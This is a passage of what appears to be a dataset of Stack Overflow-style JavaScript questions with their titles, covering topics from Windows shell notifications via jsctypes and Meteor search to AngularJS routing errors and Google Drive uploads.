lpszClassName : ctypes.char.ptr } ] ) ; LOG ( `` registering API SHGetSpecialFolderLocation ... '' ) ; SHGetSpecialFolderLocation = libs.shell32.declare ( `` SHGetSpecialFolderLocation '' , ctypes.winapi_abi , ctypes.long , ctypes.voidptr_t , ctypes.int , ctypes.long.ptr /* ItemIDList.ptr ? ? ? */ ) ; LOG ( `` registering API RegisterClass ... '' ) ; RegisterClass = libs.user32.declare ( `` RegisterClassA '' , ctypes.winapi_abi , ctypes.voidptr_t , WNDCLASS.ptr ) ; LOG ( `` registering API DefWindowProc ... '' ) ; DefWindowProc = libs.user32.declare ( `` DefWindowProcA '' , ctypes.winapi_abi , ctypes.int , ctypes.voidptr_t , ctypes.int32_t , ctypes.int32_t , ctypes.int32_t ) ; LOG ( `` instatiating WNDCLASS ( using windowProcJSCallback ) ... '' ) ; var cName = `` class-testingmessageonlywindow '' ; wndclass = WNDCLASS ( ) ; wndclass.lpszClassName = ctypes.char.array ( ) ( cName ) ; wndclass.lpfnWndProc = WindowProc ( windowProcJSCallback ) ; LOG ( `` calling API : RegisterClass ... '' ) ; RegisterClass ( wndclass.address ( ) ) ; LOG ( `` calling API : CreateWindowEx ... '' ) ; var HWND_MESSAGE = -3 ; // message-only window messageWin = CreateWindowEx ( 0 , wndclass.lpszClassName , ctypes.char.array ( ) ( `` my-testing-window '' ) , 0 , 0 , 0 , 0 , 0 , ctypes.voidptr_t ( HWND_MESSAGE ) , null , null , null ) ; LOG ( `` instantiating pidl ... '' ) ; var pidl = ctypes.long ( ) ; LOG ( `` Prior to call , pidl = `` +pidl ) ; LOG ( `` calling API : SHGetSpecialFolderLocation ... '' ) ; var CSIDL_DESKTOP = 0 ; var hr = SHGetSpecialFolderLocation ( messageWin , CSIDL_DESKTOP , pidl.address ( ) ) ; LOG ( `` got back : `` +hr ) ; LOG ( `` After the call , pidl = `` +pidl ) ; LOG ( `` instantiating pschcne ... '' ) ; var SHCNE = SHChangeNotifyEntry.array ( 1 ) ; var shcne = SHCNE ( ) ; shcne [ 0 ] .pidl = pidl.address ( ) ; shcne [ 0 ] .fRecursive = false ; var WM_SHNOTIFY = 1025 ; // 0x401 var SHCNE_DISKEVENTS = 145439 ; // 0x2381F var SHCNE_DRIVEADD = 256 ; // 256 var SHCNE_DRIVEREMOVED = 128 ; // 128 var SHCNE_MEDIAINSERTED = 32 ; // 32 var SHCNE_MEDIAREMOVED = 64 ; // 64 var SHCNRF_ShellLevel = 2 ; // 0x0002 var SHCNRF_InterruptLevel = 1 ; // 0x0001 var SHCNRF_NewDelivery = 32768 ; // 0x8000 var nSources = SHCNRF_ShellLevel | SHCNRF_InterruptLevel | SHCNRF_NewDelivery ; var lEvents = SHCNE_DISKEVENTS | SHCNE_DRIVEADD | SHCNE_DRIVEREMOVED | SHCNE_MEDIAINSERTED | SHCNE_MEDIAREMOVED ; var uMsg = WM_SHNOTIFY ; LOG ( `` DEBUG : nSources= '' +nSources ) ; LOG ( `` DEBUG : lEvents= '' +lEvents ) ; LOG ( `` DEBUG : uMsg= '' +uMsg ) ; LOG ( `` calling API : SHChangeNotifyRegister ... '' ) ; var reg_id = SHChangeNotifyRegister ( messageWin , nSources , lEvents , uMsg , 1 , shcne ) ; if ( reg_id > 0 ) { LOG ( `` SUCCESS : Registered with ShellService for `` + `` DRIVE/MEDIA notifications ! reg-id : `` +reg_id ) ; } else { LOG ( `` ERROR : Could n't register for DRIVE/MEDIA `` + `` notifications from ShellService ! `` ) ; } LOG ( `` done ! `` ) ; } catch ( e ) { LOG ( `` ERROR : `` +e ) ; } } function shutdown ( data , reason ) { if ( reason == APP_SHUTDOWN ) return ; try { //LOG ( `` destroying hidden window ... `` ) ; //DestroyWindow ( messageWin ) ; // crash ! ! ! LOG ( `` unloading USER32.DLL ... '' ) ; libs.user32.close ( ) ; LOG ( `` unloading SHELL32.DLL ... '' ) ; libs.shell32.close ( ) ; LOG ( `` done ! `` ) ; } catch ( e ) { LOG ( `` ERROR : `` +e ) ; } } 17:08:25.518 TEST-WNDPROC : loading USER32.DLL ... 17:08:25.518 TEST-WNDPROC : loading SHELL32.DLL ... 17:08:25.518 TEST-WNDPROC : registering callback ctype WindowProc ... 17:08:25.518 TEST-WNDPROC : registering API CreateWindowEx ... 17:08:25.518 TEST-WNDPROC : registering API DestroyWindow ... 17:08:25.518 TEST-WNDPROC : registering ctype SHChangeNotifyEntry ... 17:08:25.518 TEST-WNDPROC : registering API SHChangeNotifyRegister ... 17:08:25.518 TEST-WNDPROC : registering ctype WNDCLASS ... 17:08:25.518 TEST-WNDPROC : registering API SHGetSpecialFolderLocation ... 17:08:25.518 TEST-WNDPROC : registering API RegisterClass ... 17:08:25.518 TEST-WNDPROC : registering API DefWindowProc ... 17:08:25.519 TEST-WNDPROC : instatiating WNDCLASS ( using windowProcJSCallback ) ... 17:08:25.519 TEST-WNDPROC : calling API : RegisterClass ... 17:08:25.519 TEST-WNDPROC : calling API : CreateWindowEx ... 17:08:25.519 TEST-WNDPROC : windowProc : [ 36,0,2973696 ] 17:08:25.519 TEST-WNDPROC : windowProc : [ 129,0,2973652 ] 17:08:25.519 TEST-WNDPROC : windowProc : [ 131,0,2973728 ] 17:08:25.519 TEST-WNDPROC : windowProc : [ 1,0,2973608 ] 17:08:25.519 TEST-WNDPROC : instantiating pidl ... 17:08:25.519 TEST-WNDPROC : Prior to call , pidl = ctypes.long ( ctypes.Int64 ( `` 0 '' ) ) 17:08:25.519 TEST-WNDPROC : calling API : SHGetSpecialFolderLocation ... 17:08:25.519 TEST-WNDPROC : got back : 017:08:25.519 TEST-WNDPROC : After the call , pidl = ctypes.long ( ctypes.Int64 ( `` 224974424 '' ) ) 17:08:25.519 TEST-WNDPROC : instantiating pschcne ... 17:08:25.519 TEST-WNDPROC : DEBUG : [ nSources=32771 ] [ lEvents=145919 ] [ uMsg=1025 ] 17:08:25.519 TEST-WNDPROC : calling API : SHChangeNotifyRegister ... 17:08:25.520 TEST-WNDPROC : SUCCESS : Registered with ShellService for DRIVE/MEDIA notifications ! reg-id : 1517:08:25.520 TEST-WNDPROC : done ! -- -- - & < -- -- -- -17:09:31.391 TEST-WNDPROC : unloading USER32.DLL ... 17:09:31.391 TEST-WNDPROC : unloading SHELL32.DLL ... 17:09:31.391 TEST-WNDPROC : done !",jsctypes - problems using SHChangeNotifyRegister for MEDIA/DRIVE events "JS : I followed this tutorial on meteor search-source and modified the example so it would fit my current needs . This is my collections.js which is located in my lib directoryI have following code in my client side controller . And this as my server side codeFor some reason , I receive the following error message when typing something into my input fieldThis is my template code : Any help or suggestions are highly appreciated ! Edit : I updated the search-source package to 1.4.2 Guides = new Mongo.Collection ( `` guides '' ) ; var options = { keepHistory : 1000 * 60 * 5 , localSearch : true } ; var fields = [ 'title ' ] ; GuideSearch = new SearchSource ( 'guides ' , fields , options ) ; Template.guide_list.helpers ( { getGuides : function ( ) { return GuideSearch.getData ( { transform : function ( matchText , regExp ) { return matchText.replace ( regExp , `` < b > $ & < /b > '' ) } } ) ; } , isLoading : function ( ) { return GuideSearch.getStatus ( ) .loading ; } } ) ; Template.guide_list.events ( { `` keyup # title '' : _.throttle ( function ( e ) { var text = $ ( e.target ) .val ( ) .trim ( ) ; GuideSearch.search ( text ) ; } , 200 ) } ) ; SearchSource.defineSource ( 'guides ' , function ( searchText , options ) { if ( searchText ) { var regExp = buildRegExp ( searchText ) ; var selector = { title : regExp } return Guides.find ( selector , options ) .fetch ( ) ; } else { return Guides.find ( { } , options ) .fetch ( ) ; } } ) ; function buildRegExp ( searchText ) { // this is a dumb implementation var parts = searchText.trim ( ) .split ( / [ \-\ : ] +/ ) ; return new RegExp ( `` ( `` + parts.join ( '| ' ) + `` ) '' , `` ig '' ) ; } Exception in delivering result of invoking 'search.source ' : Meteor.makeErrorType/errorClass @ http : //10.0.3.162:3000/packages/meteor.js ? 9730f4ff059088b3f7f14c0672d155218a1802d4:525:15._livedata_result @ http : //10.0.3.162:3000/packages/ddp-client.js ? 250b63e6c919c5383a0511ee4efbf42bb70a650f:4625:23Connection/onMessage @ http : //10.0.3.162:3000/packages/ddp-client.js ? 250b63e6c919c5383a0511ee4efbf42bb70a650f:3365:7._launchConnection/self.socket.onmessage/ < @ http : //10.0.3.162:3000/packages/ddp-client.js ? 250b63e6c919c5383a0511ee4efbf42bb70a650f:2734:11_.forEach @ http : //10.0.3.162:3000/packages/underscore.js ? 46eaedbdeb6e71c82af1b16f51c7da4127d6f285:149:7._launchConnection/self.socket.onmessage @ http : //10.0.3.162:3000/packages/ddp-client.js ? 250b63e6c919c5383a0511ee4efbf42bb70a650f:2733:9REventTarget.prototype.dispatchEvent @ http : //10.0.3.162:3000/packages/ddp-client.js ? 250b63e6c919c5383a0511ee4efbf42bb70a650f:173:9SockJS.prototype._dispatchMessage @ http : //10.0.3.162:3000/packages/ddp-client.js ? 250b63e6c919c5383a0511ee4efbf42bb70a650f:1158:5SockJS.prototype._didMessage @ http : //10.0.3.162:3000/packages/ddp-client.js ? 250b63e6c919c5383a0511ee4efbf42bb70a650f:1216:13SockJS.websocket/that.ws.onmessage @ http : //10.0.3.162:3000/packages/ddp-client.js ? 250b63e6c919c5383a0511ee4efbf42bb70a650f:1363:9 template ( name= '' guide_list '' ) .format-properly .container-fluid .input-group # adv-search .form-horizontal ( role= '' form '' method= '' POST '' action= '' # '' ) .col-md-6 .form-group label ( for= '' contain '' ) Guide title input.form-control ( type= '' text '' id= '' title '' ) .col-md-6 .form-group label ( for= '' contain '' ) Author input.form-control ( type= '' text '' name= '' author '' ) .col-md-6 .form-group label ( for= '' hero '' ) Select a hero select.form-control ( name= '' hero '' ) option ( value= '' all '' selected ) All Heroes option ( value= '' Druid '' ) Druid option ( value= '' Hunter '' ) Hunter option ( value= '' Mage '' ) Mage option ( value= '' Paladin '' ) Paladin option ( value= '' Priest '' ) Priest option ( value= '' Rogue '' ) Rogue option ( value= '' Shaman '' ) Shaman option ( value= '' Warlock '' ) Warlock option ( value= '' Warrior '' ) Warrior .col-md-6 .form-group label ( for= '' filter '' ) Filter by select.form-control ( name= '' filterBy '' ) option ( value= '' 0 '' selected ) All guides option ( value= '' most_viewed '' ) Most viewed option ( value= '' top_rated '' ) Top rated option ( value= '' most_commented '' ) Most commented .container-fluid .table-responsive table.table.table-hover thead tr th hero th title th author th updated th dust th span.glyphicon.glyphicon-eye-open th span.glyphicon.glyphicon-heart th span.glyphicon.glyphicon-comment tbody each guides tr td { { hero } } td a ( href= '' /guide/ { { formatId _id } } '' ) { { title } } td { { authorUsername } } td { { moFormat modifiedAt 'YYYY-MM-DD ' } } td { { dust } } td { { hitCount } } td { { rating } } td { { commentCount } } tbody each getGuides tr td { { hero } } td a ( href= '' /guide/ { { formatId _id } } '' ) { { title } } td { { authorUsername } } td { { moFormat modifiedAt 'YYYY-MM-DD ' } } td { { dust } } td { { hitCount } } td { { rating } } td { { commentCount } }",Why am I getting an error when attempting to use the Meteor search-source package ? "JS : ResourcesI am using royalSlider as a plugin . Here is a quick link to the documentation & API.On my site the slider works as height : 100 % ; width : 100 % fullscreen slider . Content StructureThe structure of my site is quite simple : I have slides that I use as cover , lets call them .cover , each followed by a slide containing more information . Lets call them .sub.If it is easier to understand , you can check the live site right here.Inside the function , which appends my sub slides , I create three buttons on the right side to scroll up , scroll down and close the current slide . Scrolling down works just fine . ( Check my main.js file right here , line 177 ) The ProblemThe browser binds all buttons , selected using $ ( p.sl_button ) to the same sub slide , instead of binding each button to its own parent.Hard to explain , easy to try . If you , for example : Open Subslide Number 5Open Subslide Number 2Scroll to Subslide Number 5Click on the Close Button ( X with red background ) the system `` breaks '' . Instead of closing the Subslide Number 5 , it closes the subslide number 2 ( which was the last time , the function named above got called . How can I fix this problem ? The code I use to bind the buttons on my subslides : If you need further information to recreate my bug feel free to ask . I appreciate any help or hinds regarding this topic . Thanks in advance to everyone digging into my problem. » royalSlider Documentation & API » Live Version of the website » My Javascript / jQuery File Content Cover Nr . 1 Subslide Content Nr . 1Content Cover Nr . 2 Subslide Content Nr . 2Content Cover Nr . 3 Subslide Content Nr . 3Content Cover Nr . 4 Subslide Content Nr . 4 // Append Slides by ID and Databasefunction appendIt ( num_id ) { var $ parid = num_id.parents ( '.rsContent ' ) .attr ( 'id ' ) ; var $ sub_id = sliderInstance.currSlideId + 1 ; // get current slide id & increase by 1 // append html slide sliderInstance.appendSlide ( eval ( $ parid ) , $ sub_id ) ; sliderInstance.next ( ) ; // close button on sub slides $ ( '.scrolldown ' ) .on ( 'click ' , function ( ) { sliderInstance.next ( ) ; } ) ; // Scroll Slide Up $ ( '.scrollup ' ) .on ( 'click ' , function ( ) { sliderInstance.prev ( ) ; } ) ; // Close Subslide $ ( '.close ' ) .on ( 'click ' , function ( ) { $ ( ' # '+ $ parid+ ' p.sl_button ' ) .addClass ( 'in ' ) ; sliderInstance.prev ( ) ; setTimeout ( function ( ) { sliderInstance.removeSlide ( $ sub_id ) ; } , 600 ) ; } ) ; } ;",royalSlider : How to remove a slide using a class as selector "JS : Just wondering if its worth it to make a monolithic loop function or just add loops were they 're needed . The big loop option would just be a loop of callbacks that are added dynamically with an add function.adding a function would look like thissetLoop would add the function to the monolithic loop.so is the is worth anything in performance or should I just stick to lots of little loops using setInterval ? heres the gamehttp : //thinktankdesign.ca/metropolis/and all of its librarieshttp : //thinktankdesign.ca/metropolis/scripts/base.jshttp : //thinktankdesign.ca/metropolis/scripts/menu.jshttp : //thinktankdesign.ca/metropolis/scripts/grid.jshttp : //thinktankdesign.ca/metropolis/scripts/cursor.jshttp : //thinktankdesign.ca/metropolis/scripts/game_logic/controls.jshttp : //thinktankdesign.ca/metropolis/scripts/game_logic/automata.jsif I stick to individual loops there will be thousands of them because of the number of animation loops.The game is a tower builder and complicated things like elevators and cars/peds . Not to mention loops for the automata , controlling events such as VIPs and fires and such . When functional ( a year or two ) it will be a lot like Sim Tower but iso-metric instead of a side scroller . setLoop ( function ( ) { alert ( 'hahaha ! I\ 'm a really annoying loop that bugs you every tenth of a second ' ) ; } ) ;","Whats faster in Javascript a bunch of small setInterval loops , or one big one ?" "JS : I have an AWS Lambda function running on node.js 8.10 . This function connects to a Redis server using the ioredis library , gets a value at a key , and then returns the value . I can see in the logs that the connection is successful , and that the value is successfully retrieved . However , the response is never returned and if I look in the logs I can see the the lambda always times out.Why does this keep happening ? Is there some reason that the lambda keeps running instead of returning the value from Redis ? This is the code in my lambda function : const Redis = require ( 'ioredis ' ) ; const redis = new Redis ( 6379 , 'http : //redis.example.com ' ) ; exports.handler = async ( event , context ) = > { const value = await redis.get ( 'mykey ' ) ; console.log ( 'value ' , value ) ; // this shows up in Cloudwatch logs return value ; } ;",Why does my AWS Lambda function keep timing out ? "JS : I have one image map with 300-400 poly areas which on event `` onclick '' shoud highlight that area and get some data etc ... When page is loaded ( my images are kinda big , 3-5MB ) so I resized those imagemaps using davidjbradshaw/image-map-resizer plugin . When I started to implement highlight method , everything worked fine , but after zoom in/out of image my poly cords are messed up . If I remove highlight option and zoom in/out my poly cords are resized to proper image size . JS code for resizing ( working correctly ) JS code for resizing/highlight ( not working correctly ) Without zoom in/out imageresizer and highlight works perfect.After zoom in/out What am I doing wrong ? $ ( document ) .ready ( function ( ) { imageMapResize ( ) ; } ) ; function ZoomIn ( ) { $ ( `` img '' ) .animate ( { height : '+=200 ' , width : '+=200 ' } , 1000 , function ( ) { imageMapResize ( ) ; } ) ; } function ZoomOut ( ) { $ ( `` img '' ) .animate ( { height : '-=200 ' , width : '-=200 ' } , 1000 , function ( ) { imageMapResize ( ) ; } ) ; } $ ( document ) .ready ( function ( ) { imageMapResize ( ) ; $ ( 'img [ usemap ] ' ) .maphilight ( ) ; } ) ; function ZoomIn ( ) { $ ( `` img '' ) .animate ( { height : '+=200 ' , width : '+=200 ' } , 1000 , function ( ) { imageMapResize ( ) ; $ ( 'img [ usemap ] ' ) .maphilight ( ) ; } ) ; } function ZoomOut ( ) { $ ( `` img '' ) .animate ( { height : '-=200 ' , width : '-=200 ' } , 1000 , function ( ) { imageMapResize ( ) ; $ ( 'img [ usemap ] ' ) .maphilight ( ) ; } ) ; }",Maphilight ( ) stops working correctly after zoom in/out of imagemap "JS : Before you label it as duplicate , I already have looked at here , as well , here too , but I can not seem to find a working solution . I understand that I can not pass a script to innerHTML because of the script tag . But is there possibly a way to push this particular API into a div without putting it onto the HTML page . I have a button that takes in an input and run a couple $ .get to get stock information , so I want to include this as part of the result , however , innerHTML is not allowed , and I have attempted many of the solutions in the links above , to no avail.I can place the script below within the div on the HTML page , but I prefer not to do that , and plus I need to get the user input , so placing it within my .js would be much easier to perform all functions together . I have the widget 's js included.So far I have And this work but not how I want it to , however , this just execute that script and this chart is the only thing displaying on the page , is there a way I can force this to be in the < div > ? With the above solution , the script is executed , but not placing the widget within the div ( it seems like , I could be wrong . I am not proficient in this ) .In this image , when I run the script with JS file with the other operations , it just display the graph by itself on the page.This is when the code is within the div and before running any JS functions , I guess it is in the div , however , I need to put an input above in the box so all of the information can be display on one page like belowI want the graph to be place in the red dot , where the < div > isHTMLIn a sense , this is what I want to do , but not allowed/working < script type= '' text/javascript '' > new TradingView.widget ( { `` width '' : 480 , `` height '' : 400 , `` symbol '' : `` NASDAQ : AAPL '' , `` interval '' : `` D '' , `` timezone '' : `` Etc/UTC '' , `` theme '' : `` White '' , `` style '' : `` 1 '' , `` locale '' : `` en '' , `` toolbar_bg '' : `` # f1f3f6 '' , `` enable_publishing '' : false , `` hide_top_toolbar '' : true , `` save_image '' : false , `` hideideas '' : true } ) ; < /script > var script = document.createElement ( 'script ' ) ; script [ ( script.innerText===undefined ? `` textContent '' : '' innerText '' ) ] = `` new TradingView.widget ( { 'width ' : 580 , 'height ' : 400 , 'symbol ' : 'NASDAQ : '' +ticker+ `` ' , 'interval ' : 'D ' , 'timezone ' : 'Etc/UTC ' , 'theme ' : 'White ' , 'style ' : ' 1 ' , 'locale ' : 'en ' , 'toolbar_bg ' : ' # f1f3f6 ' , 'enable_publishing ' : false , 'hide_top_toolbar ' : true , 'save_image ' : false , 'hideideas ' : true } ) ; '' ; document.getElementById ( `` stockChart '' ) .appendChild ( script ) ; < div id= '' content '' > < img src= '' icon/logo.png '' > < h1 > Search Shares < /h1 > < div id= '' stockTickGet '' > Ticker : < input type= '' text '' id= '' tickBox '' list= '' options '' / > < button onclick= '' Ticker ( ) '' id= '' tickerSubmit '' class= '' btn btn-primary '' > Submit < /button > < datalist id= '' options '' > < /datalist > < /div > < div id='showStockTick ' class='stockTicker ' > < /div > < ! -- < div id='stockChart ' > < /div > -- > < div id='stockChart ' > < /div > < div id='showStockSearch ' class='stockTicker ' > < /div > < div id='newsresult ' class='stockTicker ' > < /div > < button class= '' btn btn-primary '' data-toggle= '' modal '' data-target= '' # modal1 '' > Buy Stocks < /button > < /div > document.getElementById ( `` stockChart '' ) .innerHTML = `` < script > new TradingView.widget ( { 'width ' : 580 , 'height ' : 400 , 'symbol ' : 'NASDAQ : GOOG ' , 'interval ' : 'D ' , 'timezone ' : 'Etc/UTC ' , 'theme ' : 'White ' , 'style ' : ' 1 ' , 'locale ' : 'en ' , 'toolbar_bg ' : ' # f1f3f6 ' , 'enable_publishing ' : false , 'hide_top_toolbar ' : true , 'save_image ' : false , 'hideideas ' : true } ) ; < `` + '' /script > '' ;",Passing a script to innerHTML "JS : Imagine I have a asmjs script but before running the script , I 'd like to test and see if the browser supports asm.js or not . If it is false , display a message indicating that the browser is old or something like that , otherwise , execute the script.Can we utilize the idea of `` use asm '' somehow to detect if a web browser supports asm.js ? function MyAsmModule ( ) { `` use asm '' ; // module body }",How to test the availability of asm.js in a web browser ? "JS : New Edit : the authservice that checks the login : Updated : Unfortunatelly this is a part of a whole web-application , so i cant upload it on jsfiddle . I made a youtube video where i show exactly the error while i debug the application . From minute 1:30 starts the problem.Feel free to examine the videobelow is the app.js of my angular application . Could the $ watch ( es ) that i have into the templates , create the error ? Youtube , after 1:30 starts the error : https : //www.youtube.com/watch ? v=3Cc2 -- BkdQ4 & feature=youtu.beWhen first load the site , the login screen loads and asks for the credentials.If the user login it redirects to the part4 page ( from inside the login controller ) , so far so good ! The problem is whenever i open a new tab on the browser , try to load the website : It should see that the user is already loged in and redirect him on the part4 page.instead of this , as i see on the debug of the browser , it goes to the resolve : login Then it goes up inside $ rootScope. $ on ( ' $ stateChangeError ' , and to the go.state ( part4 ) Then it goes to the resolve of part4 and then it goes to the resolve of the login and again to the $ statechangeerror function5.And finally i get the error : Error : [ $ rootScope : infdig ] http : //errors.angularjs.org/1.4.8/ $ rootScope/infdig ? p0=10 & p1= % 5B % 5Dbut the strange is that it finally redirects to the part4 page , but with that error ! ! Can anyone help me please.I uploaded a video on youtube , describing and showing the error : youtube : https : //www.youtube.com/watch ? v=3Cc2 -- BkdQ4 & feature=youtu.be 'use strict ' ; angular.module ( 'MainApp.login.services ' , [ ] ) .factory ( 'authService ' , [ 'AUTH_ENDPOINT ' , 'LOGOUT_ENDPOINT ' , ' $ http ' , ' $ cookieStore ' , function ( AUTH_ENDPOINT , LOGOUT_ENDPOINT , $ http , $ cookieStore ) { var auth = { } ; auth.login = function ( username , password ) { return $ http.post ( AUTH_ENDPOINT , { username : username , password : password } ) .then ( function ( response , status ) { auth.user = response.data ; $ cookieStore.put ( 'user ' , auth.user ) ; return auth.user ; } ) ; } ; auth.logout = function ( ) { return $ http.post ( LOGOUT_ENDPOINT ) .then ( function ( response ) { auth.user = undefined ; $ cookieStore.remove ( 'user ' ) ; $ cookieStore.remove ( 'event ' ) ; } ) ; } ; return auth ; } ] ) .value ( 'AUTH_ENDPOINT ' , 'http : //www.mydomain.gr/assets/modules/login/dal/login.php ' ) .value ( 'LOGOUT_ENDPOINT ' , 'http : //www.mydomain.gr/assets/modules/login/dal/logout.php ' ) ; 'use strict ' ; var app = angular.module ( 'MainApp ' , [ 'mApp ' , 'MainApp.loginModule ' , 'MainApp.part4Module ' , 'MainApp.part5Module ' , 'MainApp.eventModule ' , 'ui.router ' , 'ui.router.tabs ' , 'ngCookies ' ] ) ; angular.module ( 'MainApp ' ) .run ( [ ' $ rootScope ' , ' $ state ' , ' $ cookieStore ' , 'authService ' , function ( $ rootScope , $ state , $ cookieStore , authService ) { $ rootScope. $ on ( ' $ stateChangeError ' , function ( event , toState , toParams , fromState , fromParams , error ) { if ( error.unAuthorized ) { $ state.go ( 'login ' ) ; } else if ( error.authorized ) { $ state.go ( 'part4 ' ) ; } } ) ; authService.user = $ cookieStore.get ( 'user ' ) ; } ] ) .config ( function ( $ stateProvider , $ urlRouterProvider , $ locationProvider ) { // $ stateProvider & $ urlRouterProvider are from ui.router module $ stateProvider .state ( 'floorplan ' , { url : '/floorplan/ : activeEventId/ : activeHallId/ : activeHallVariant ' , controller : 'ParticipantsCtrl ' , templateUrl : '/assets/modules/part1/part1.html ' , resolve : { user : [ 'authService ' , ' $ q ' , function ( authService , $ q ) { return authService.user || $ q.reject ( { unAuthorized : true } ) ; } ] } } ) .state ( 'event ' , { url : '/event/ : activeEventId ' , templateUrl : 'assets/modules/event/eventPartial.html ' , controller : 'eventctrl ' , resolve : { user : [ 'authService ' , ' $ q ' , function ( authService , $ q ) { return authService.user || $ q.reject ( { unAuthorized : true } ) ; } ] } } ) .state ( 'part4 ' , { url : '/part4 ' , resolve : { user : [ 'authService ' , ' $ q ' , function ( authService , $ q ) { return authService.user || $ q.reject ( { unAuthorized : true } ) ; } ] } , controller : 'part4ctrl ' , templateUrl : '/assets/modules/part4/part4Partial.html ' } ) .state ( 'login ' , { url : '/login ' , controller : 'LoginCtrl ' , templateUrl : '/assets/modules/login/login.html ' , resolve : { user : [ 'authService ' , ' $ q ' , function ( authService , $ q ) { if ( authService.user ) { return $ q.reject ( { authorized : true } ) ; } } ] } } ) ; $ urlRouterProvider.otherwise ( 'login ' ) ; } ) ;",angularjs infdig error when change state on ui-router ( with video ) "JS : So Promise.all passes an array as a value into the function , I would much rather it pass the array values as arguments . Assume I have this function : I would like To print this insteadIs there a better way of doing this : using the spread operator ? I also triedBut it returns an error function printData ( a , b , c ) { console.log ( a , b , c ) } Promise.all ( [ 1,2,3 ] ) .then ( printData ) > > [ 1,2,3 ] undefined undefined > > 1 2 3 Promise.all ( [ 1,2,3,4 ] ) .then ( function ( values ) { printData.apply ( null , values ) } ) Promise.all ( [ 1,2,3 ] ) .then ( printData.apply )",Is it possible to spread the input array into arguments ? JS : The \033 is not going to fly with the strict mode any way around that beside taking off the strict mode ? `` use strict '' ; var debug = function ( m ) { console.log ( ' \033 [ 32mdebug -\033 [ 39m : ' + m ) ; },How to send control char using strict mode in javascript ? "JS : Say we 're writing a browser app where smooth animation is critical . We know garbage collection can block execution long enough to cause a perceptible freeze , so we need to minimize the amount of garbage we create . To minimize garbage , we need to avoid memory allocation while the main animation loop is running.But that execution path is strewn with loops : And their var statements allocate memory can allocate memory that the garbage collector may remove , which we want to avoid.So , what is a good strategy for writing loop constructs in JavaScript that avoid allocating memory each one ? I 'm looking for a general solution , with pros and cons listed.Here are three ideas I 've come up with:1 . ) Declare `` top-level '' vars for index and length ; reuse them everywhereWe could declare app.i and app.length at the top , and reuse them again and again : Pros : Simple enough to implement . Cons : Performance hit by dereferencing the properties might mean a Pyrrhic victory . Might accidentally misuse/clobber properties and cause bugs.2 . ) If array length is known , do n't loop -- unrollWe might be guaranteed that an array has a certain number of elements . If we do know what the length will be in advance , we could manually unwind the loop in our program : Pros : Efficient . Cons : Rarely possible in practice . Ugly ? Annoying to change ? 3 . ) Leverage closures , via the factory patternWrite a factory function that returns a 'looper ' , a function that performs an action on the elements of a collection ( a la _.each ) . The looper keeps private reference to index and length variables in the closure that is created . The looper must reset i and length each time it 's called.Pros : More functional , more idiomatic ? Cons : Function calls add overhead . Closure access has shown to be slower than object look-up . var i = things.length ; while ( i -- ) { /* stuff */ } for ( var i = 0 , len = things.length ; i < len ; i++ ) { /* stuff */ } app.i = things.length ; while ( app.i -- ) { /* stuff */ } for ( app.i = 0 ; app.i < app.length ; app.i++ ) { /* stuff */ } doSomethingWithThing ( things [ 0 ] ) ; doSomethingWithThing ( things [ 1 ] ) ; doSomethingWithThing ( things [ 2 ] ) ; function buildLooper ( ) { var i , length ; return function ( collection , functionToPerformOnEach ) { /* implement me */ } ; } app.each = buildLooper ( ) ; app.each ( things , doSomethingWithThing ) ;",Pattern for no-allocation loops in JavaScript ? "JS : I am sending a request in Google Drive API version 3 . I have a Base64 image . I have this code , With that request , I console.log this message : Object { kind : `` drive # file '' , id : `` 0B0jyCEQS7DFib19iX2FLYm1yR28 '' , name : `` MyFileTitle '' , mimeType : `` image/jpeg '' } So I assuming here that I successfully uploaded a file . But when I check the file in Google Drive , I ca n't open it . No preview of the file also . I downloaded the file , still ca n't open it . What is wrong in here ? anyone can help me ? This is the response header , this is my request header , The request payload is something like this , Still ca n't open the file.This is the creation of the file , The code above is the creation of the file . I added it because maybe the problem is in this part . var callback = function ( ret , raw ) { var obj = $ .parseJSON ( raw ) ; self.uploadUrl = obj.gapiRequest [ `` data '' ] [ `` headers '' ] [ `` location '' ] ; const boundary = ' -- -- -- -314159265358979323846 ' ; const delimiter = `` \r\n -- '' + boundary + `` \r\n '' ; const close_delim = `` \r\n -- '' + boundary + `` -- '' ; var reader = new FileReader ( ) ; reader.readAsBinaryString ( data ) ; reader.onload = function ( e ) { console.log ( reader.result ) ; var contentType = data.type || 'application/octet-stream ' ; var metadata = { 'name ' : data.name , 'mimeType ' : contentType } ; var base64Data = btoa ( reader.result ) ; var multipartRequestBody = reader.result ; console.log ( self.uploadUrl ) ; var request = gapi.client.request ( { 'path ' : self.uploadUrl.replace ( 'https : //www.googleapis.com ' , `` ) , 'method ' : 'PUT ' , 'headers ' : { 'Authorization ' : 'Bearer ' + self.state.token , 'Content-Length ' : data.size , 'Content-Type ' : data.type } , 'body ' : multipartRequestBody } ) ; var callback2 = function ( file ) { console.log ( file ) } ; request.execute ( callback2 ) ; } } ; Request URL : https : //content.googleapis.com/upload/drive/v3/files ? uploadType=resumable & upload_id=AEnB2UoIhN3QtsUc1qLW5N_3yG-NOyl9Nm-maYY7T5X4dQbMK_hxu9M-E9L1247jeLEtRQJd8w8IA_GH_6HSWbNrFnocfmt31-oA0iXXHTcZE7k2aIIAvHQRequest Method : PUTStatus Code:200 Remote Address:216.58.197.170:443 Authorization : Bearer < MY_TOKEN > Content-Type : image/jpegOrigin : https : //content.googleapis.comX-Requested-With : XMLHttpRequestuploadType : resumableupload_id : AEnB2UoIhN3QtsUc1qLW5N_3yG-NOyl9Nm-maYY7T5X4dQbMK_hxu9M-E9L1247jeLEtRQJd8w8IA_GH_6HSWbNrFnocfmt31-oA0iXXHTcZE7k2aIIAvHQ ÿØÿàJFIFHHÿÛC ... submitForm ( e ) { e.preventDefault ( ) ; var data = this.refs.file.files [ 0 ] ; var self = this ; var metadata = { 'Content-Length ' : data.size , 'name ' : data.name } ; var contentType = data.type ; var multipartRequestBody = JSON.stringify ( metadata ) ; var request = gapi.client.request ( { 'path ' : '/upload/drive/v3/files ' , 'method ' : 'POST ' , 'params ' : { 'uploadType ' : 'resumable ' } , 'headers ' : { 'Authorization ' : 'Bearer ' + self.state.token , 'Content-Type ' : 'application/json ; charset=UTF-8 ' , ' X-Upload-Content-Type ' : data.type , ' X-Upload-Content-Length ' : data.size } , 'body ' : multipartRequestBody } ) ; var callback = ... request.execute ( callback ) ; }",Ca n't open uploaded file in Google Drive using API "JS : In trying to learn JavaScript closures , I 've confused myself a bit.From what I 've gathered over the web , a closure is ... Declaring a function within another function , and that inner function has access to its parent function 's variables , even after that parent function has returned.Here is a small sample of script from a recent project . It allows text in a div to be scrolled up and down by buttons.Does 